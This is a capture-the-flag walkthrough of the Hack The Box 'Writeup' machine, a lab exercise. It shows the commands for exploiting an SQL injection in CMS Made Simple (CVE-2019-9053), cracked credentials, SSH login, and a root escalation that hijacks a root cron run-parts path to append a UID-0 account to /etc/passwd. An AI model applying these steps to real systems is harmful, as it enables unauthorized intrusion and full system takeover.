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Hack The Box | Writeup

In this walkthrough, we will be going through the Writeup box on Hack The Box.

Room Banner

https://app.hackthebox.com/machines/192

Successfully Pwned Writeup

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Enumeration ​

Nmap Scan ​

We begin by running a comprehensive Nmap scan to enumerate open ports and detect running services:

bash
nmap -sC -sV -v -p- -oN writeup.nmap 10.10.10.138

Scan Results:

bash
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  tcpwrapped

Port 22 and 80 are open but both return tcpwrapped, indicating access control mechanisms or limitations on banner grabbing.

Web Enumeration ​

Navigating to http://10.10.10.138/, we are presented with a basic webpage:

Homepage

Checking robots.txt, we discover a disallowed path:

robots.txt

The file discloses the /writeup directory, which appears to host a web application:

Writeup Page

We use whatweb to fingerprint the application:

bash
whatweb http://10.10.10.138/writeup/

WhatWeb Output

The application is identified as CMS Made Simple—an open-source PHP CMS. The footer indicates the version may date back to 2019.

Based on this, we research known vulnerabilities and discover CVE-2019-9053, which is an unauthenticated SQL injection vulnerability affecting CMS Made Simple version 2.2.9.

Exploitation ​

We exploit the SQL injection using the publicly available script Exploit-DB 46635:

bash
python3 46635.py -u "http://10.10.10.138/writeup/" -w /usr/share/wordlists/rockyou.txt -c

Script Output:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password hash found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

With the credentials jkr : raykayjay9, we are able to access the machine via SSH:

bash
ssh jkr@10.10.10.138

After logging in, we retrieve the user flag:

bash
jkr@writeup:~$ cat user.txt
[USER_FLAG]

Privilege Escalation ​

We check the group memberships for the jkr user:

User Groups

The user is part of the staff group, which may have access to sensitive directories or cron-related scripts. We refer to this blog post explaining how this group can be leveraged for privilege escalation.

To monitor background activity, we run pspy32, a tool for process discovery:

pspy Output

We observe that a run-parts script is executed as root on a recurring schedule. This script executes all scripts in a given directory—offering an opportunity to inject malicious code.

Crafting the Exploit ​

We replace or add a script in the expected run-parts path, such as /usr/local/bin/run-parts, to append a new root user into /etc/passwd:

bash
#!/bin/bash
echo 'deejay:$1$deejay$4bbVUrgoKNqATEsKbF2d.0:0:0:root:/root:/bin/bash' >> /etc/passwd

Once triggered, the new user deejay with UID 0 is added.

We confirm the injection:

Modified /etc/passwd

Now, we switch to the new root user:

bash
su deejay

Access is granted, and we retrieve the root flag:

bash
cat /root/root.txt

Root Access